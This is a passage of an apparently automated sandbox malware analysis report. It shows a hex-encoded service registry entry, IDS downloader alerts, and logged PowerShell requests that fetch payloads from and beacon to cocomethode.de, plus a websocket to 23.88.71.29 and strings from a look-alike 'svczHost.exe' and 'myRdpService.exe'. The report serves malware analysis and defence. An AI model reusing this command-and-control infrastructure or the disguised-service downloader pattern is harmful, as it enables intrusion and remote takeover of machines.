6d 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 5d 00 0d 00 0a 00 22 00 44 00 65 00 70 00 65 00 6e 00 64 00 4f 00 6e 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 22 00 3d 00 68 00 65 00 78 00 28 00 37 00 29 00 3a 00 35 00 32 00 2c 00 30 00 30 00 2c 00 35 00 30 00 2c 00 30 00 30 00 2c 00 34 00 33 00 2c 00 30 00 30 00 2c 00 35 00 33 00 2c 00 30 00 30 00 2c 00 35 00 33 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 0d 00 0a 00 22 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e 00 22 00 3d 00 22 00 40 00 25 00 53 00 79 00 73 00 74 00 65 00 6d 00 52 00 6f 00 6f 00 74 00 25 00 5c 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 5c 00 74 00 65 00 72 00 6d 00 73 00 72 00 76 00 2e 00 64 00 6c 00 6c 00 2c 00 2d 00 32 00 36 00 37 00 22 00 0d 00 0a 00 22 00 44 00 69 00 73 00 70 00 6c 00 61 00 79 00 4e 00 61 00 6d 00 65 00 22 00 3d 00 22 00 40 00 25 00 53 00 79 00 73 00 74 00 65 00 6d 00 52 00 6f 00 6f 00 74 00 25 00 5c 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 5c 00 74 00 65 00 72 00 6d 00 73 00 72 00 76 00 2e 00 64 00 6c 00 6c 00 2c 00 2d 00 32 00 36 00 38 00 22 00 0d 00 0a 00 22 00 45 00 72 00 72 00 6f 00 72 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 22 00 3d 00 64 00 77 00 6f 00 72 00 64 00 3a 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 31 00 0d 00 0a 00 22 00 46 00 61 00 69 00 6c 00 75 00 72 00 65 00 41 00 63 00 74 00 69 00 6f 00 6e 00 73 00 22 00 3d 00 68 00 65 00 78 00 3a 00 38 00 30 00 2c 00 35 00 31 00 2c 00 30 00 31 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 33 00

Source: Joe Sandbox View	IP Address: 23.88.71.29 23.88.71.29
Source: Joe Sandbox View	IP Address: 172.67.128.139 172.67.128.139

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.30:49813 -> 96.7.218.33:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.30:49838 -> 96.7.218.33:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.30:49814 -> 172.67.128.139:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.30:49818 -> 172.67.128.139:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.30:49816 -> 172.67.128.139:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.30:49832 -> 172.67.128.139:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.30:49840 -> 172.67.128.139:443

Source: global traffic	HTTP traffic detected: GET /fbJ5ex HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11dfb2e9390f9dd7644a9aec526961529f07ac36dcfaa45d1951cf1541beba58f14d842eb2818c592de7ef7788a4bc3b6e43f0cf50f892301271a3b379a/Windows%20Defender/16/16/user/211 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba1f376859e645b2882acd210a88d031b0 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 303
Source: global traffic	HTTP traffic detected: GET /file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62fb05f2234146d02dff67a82509599b2836174547622d0ee8fe256a41126468eb5b965f1730e662f8fc21d93434c518bc7706e19d63073732141d6f21016c67c03bdf5a6c61b32c775e3922a7a7 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba2a217498ce7a05806d6938e5ae2193a4 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 303
Source: global traffic	HTTP traffic detected: GET /file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe97662716e1240e5e6f40650c8b01fcf788ad0bf17456ac62aa074a542cbf6de1e0229e2f9f8d075ea492fd271b6e8da5c805a00296560634cab2366c0781d856a032564ab3a4d41c92c82c96382a43b HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba12e5825a5750703ef3cef2645c84b2ae HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 85
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba12e5825a5750703ef3cef2645c84b2ae HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 86
Source: global traffic	HTTP traffic detected: GET /file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb2478574061f4b658389b7a7e3af43a85c5ecfdccd06bf7c5b886bdbae4ac14dbe3d1d4a64907f793a1a16c53af422f92d9f2cb7175cf67cfe6348ff0758c34fdc8e2257e8a3d657133dc4ebec8eb034 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba12e5825a5750703ef3cef2645c84b2ae HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 62
Source: global traffic	HTTP traffic detected: GET /file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee5181fc72e5e8a3af5de84a2efdf46556ce4b18f9a9058f02baeebba47957ff9a00fd3cbdf5afdb4554ef95d156bde153a4128333e118ea47d1e765bd042ad4fe0ce742b114df2225de5259d39230 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba5f06aeb1124113c3b608f92dddb20455 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 140
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba5f06aeb1124113c3b608f92dddb20455 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 69
Source: global traffic	HTTP traffic detected: GET /file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4613132176855e90827b93484d9303b9e360e0312cee54aa3cf6665282a09eba8222b906c8149f28e41ff30a4ef5b48c5503cc241b4591a2667faf3adb HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba5f06aeb1124113c3b608f92dddb20455 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 200
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba5f06aeb1124113c3b608f92dddb20455 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 97
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba5f06aeb1124113c3b608f92dddb20455 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 64

Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /fbJ5ex HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11dfb2e9390f9dd7644a9aec526961529f07ac36dcfaa45d1951cf1541beba58f14d842eb2818c592de7ef7788a4bc3b6e43f0cf50f892301271a3b379a/Windows%20Defender/16/16/user/211 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62fb05f2234146d02dff67a82509599b2836174547622d0ee8fe256a41126468eb5b965f1730e662f8fc21d93434c518bc7706e19d63073732141d6f21016c67c03bdf5a6c61b32c775e3922a7a7 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe97662716e1240e5e6f40650c8b01fcf788ad0bf17456ac62aa074a542cbf6de1e0229e2f9f8d075ea492fd271b6e8da5c805a00296560634cab2366c0781d856a032564ab3a4d41c92c82c96382a43b HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb2478574061f4b658389b7a7e3af43a85c5ecfdccd06bf7c5b886bdbae4ac14dbe3d1d4a64907f793a1a16c53af422f92d9f2cb7175cf67cfe6348ff0758c34fdc8e2257e8a3d657133dc4ebec8eb034 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee5181fc72e5e8a3af5de84a2efdf46556ce4b18f9a9058f02baeebba47957ff9a00fd3cbdf5afdb4554ef95d156bde153a4128333e118ea47d1e765bd042ad4fe0ce742b114df2225de5259d39230 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4613132176855e90827b93484d9303b9e360e0312cee54aa3cf6665282a09eba8222b906c8149f28e41ff30a4ef5b48c5503cc241b4591a2667faf3adb HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /StaticFile/RdpService/17 HTTP/1.1Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /api/check HTTP/1.1Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /client/ws HTTP/1.1Host: 23.88.71.29:8000Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: 7oXiB4YgSk+gCYoJhUsvsQ==Sec-WebSocket-Version: 13

Source: global traffic

DNS traffic detected: DNS query: cocomethode.de

Source: unknown

HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba1f376859e645b2882acd210a88d031b0 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 303

Source: powershell.exe, 0000000F.00000002.475773046858.0000023B9A9E8000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000018.00000002.476267701819.00000277BEF46000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000018.00000000.475101654108.00007FF699BCB000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://.css
Source: powershell.exe, 0000000F.00000002.475773046858.0000023B9A9E8000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000018.00000002.476267701819.00000277BEF46000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000018.00000000.475101654108.00007FF699BCB000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://.jpg
Source: svchost.exe, 00000015.00000002.476265582213.0000026EC7513000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS%3C/ds:KeyName%3E
Source: svchost.exe, 00000015.00000002.476269277800.0000026EC8286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tbpose
Source: powershell.exe, 00000009.00000002.474754978371.0000018AD098F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B8B8DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cocomethode.de
Source: svczHost.exe, 00000018.00000002.476264916297.00000277BDCA8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cocomethode.de:443/
Source: powershell.exe, 00000003.00000002.474657049468.000001C6E5D82000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.474914240810.000002BCDDEA4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474811709455.0000018AE7D23000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475908490765.0000023BA1FF2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476268488928.0000026EC8237000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000018.00000002.476277708240.000002B851A90000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475600032739.00000197580A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: svczHost.exe, 00000018.00000002.476277708240.000002B851A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root
Source: powershell.exe, 00000003.00000002.474657049468.000001C6E5D50000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.474914240810.000002BCDDE90000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474811709455.0000018AE7D23000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475908490765.0000023BA1FF2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476268318406.0000026EC8223000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000018.00000002.476277708240.000002B851A90000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475600032739.00000197580A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000003.00000002.474657049468.000001C6E5DB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micr
Source: powershell.exe, 00000009.00000002.474811709455.0000018AE7DA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.osofts/Microt0
Source: svchost.exe, 00000015.00000002.476268318406.0000026EC8223000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000015.00000002.476266273199.0000026EC7D00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476267692236.0000026EC7D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: svchost.exe, 00000015.00000003.474812974375.0000026EC7D5D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474813454219.0000026EC7D5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdsoft.c
Source: svchost.exe, 00000015.00000002.476266273199.0000026EC7D00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476267692236.0000026EC7D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: svchost.exe, 00000015.00000003.474812974375.0000026EC7D5D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474813454219.0000026EC7D5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdapSer
Source: svchost.exe, 00000015.00000002.476263968246.0000026EC747F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/XX/oasis-2
Source: powershell.exe, 0000000F.00000002.475773046858.0000023B9A9E8000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000018.00000002.476267701819.00000277BEF46000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000018.00000000.475101654108.00007FF699BCB000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: powershell.exe, 00000003.00000002.474654276192.000001C6DDDD5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.474654276192.000001C6DDF0C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.474636787839.000001C6CF240000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.474906856227.000002BCD5F0A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.474906856227.000002BCD60AD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474806234287.0000018ADFD6B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018AD1348000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475773046858.0000023B99FEB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475534195964.000001974FBF8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475162023951.0000019740F3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: svchost.exe, 00000015.00000002.476264916023.0000026EC74C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://passport.net/tb
Source: powershell.exe, 00000009.00000002.474754978371.0000018AD11F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B8A19E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475600032739.0000019758090000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475162023951.000001973FC6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.474636787839.000001C6CDF7C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.474863848487.000002BCC60BB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018ACFF5A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B8A19E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475162023951.000001973FC6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.pngXz
Source: powershell.exe, 00000003.00000002.474636787839.000001C6CF0EE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.474636787839.000001C6CF0CE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018AD11C6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018AD11F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.pngh
Source: svchost.exe, 00000015.00000002.476266273199.0000026EC7D00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.mi
Source: powershell.exe, 00000009.00000002.474820792001.0000018AE85A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.openxmlfoEP
Source: powershell.exe, 00000009.00000002.474754978371.0000018ACFF5A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B8A4ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: svchost.exe, 00000015.00000002.476266627867.0000026EC7D37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: svchost.exe, 00000015.00000002.476267238154.0000026EC7D6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: svchost.exe, 00000015.00000002.476266380276.0000026EC7D13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policyom
Source: svchost.exe, 00000015.00000003.474823026388.0000026EC7D50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476266792343.0000026EC7D51000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476266380276.0000026EC7D13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474823072776.0000026EC7D55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476267238154.0000026EC7D6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: svchost.exe, 00000015.00000002.476266380276.0000026EC7D13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/scceset
Source: svchost.exe, 00000015.00000003.474813389054.0000026EC7D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474823026388.0000026EC7D50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476266792343.0000026EC7D51000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476266380276.0000026EC7D13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474823072776.0000026EC7D55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476267238154.0000026EC7D6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: svchost.exe, 00000015.00000002.476263968246.0000026EC747F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: svchost.exe, 00000015.00000002.476267238154.0000026EC7D6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: svchost.exe, 00000015.00000002.476266380276.0000026EC7D13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/truste
Source: svczHost.exe, svczHost.exe, 00000018.00000002.476279916819.00007FF699940000.00000004.00000001.01000000.0000000A.sdmp, myRdpService.exe	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid
Source: powershell.exe, 0000000F.00000002.475773046858.0000023B9A9E8000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000018.00000002.476267701819.00000277BEF46000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000018.00000000.475101654108.00007FF699BCB000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidY
Source: powershell.exe, 00000003.00000002.474636787839.000001C6CDD51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.474863848487.000002BCC5E91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018ACFCF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475773046858.0000023B9A9E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B89F71000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000018.00000002.476267701819.00000277BEF46000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000018.00000000.475101654108.00007FF699BCB000.00000002.00000001.01000000.0000000A.sdmp, svczHost.exe, 00000018.00000002.476279916819.00007FF699940000.00000004.00000001.01000000.0000000A.sdmp, powershell.exe, 0000001C.00000002.475162023951.000001973FA41000.00000004.00000800.00020000.00000000.sdmp, myRdpService.exe	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
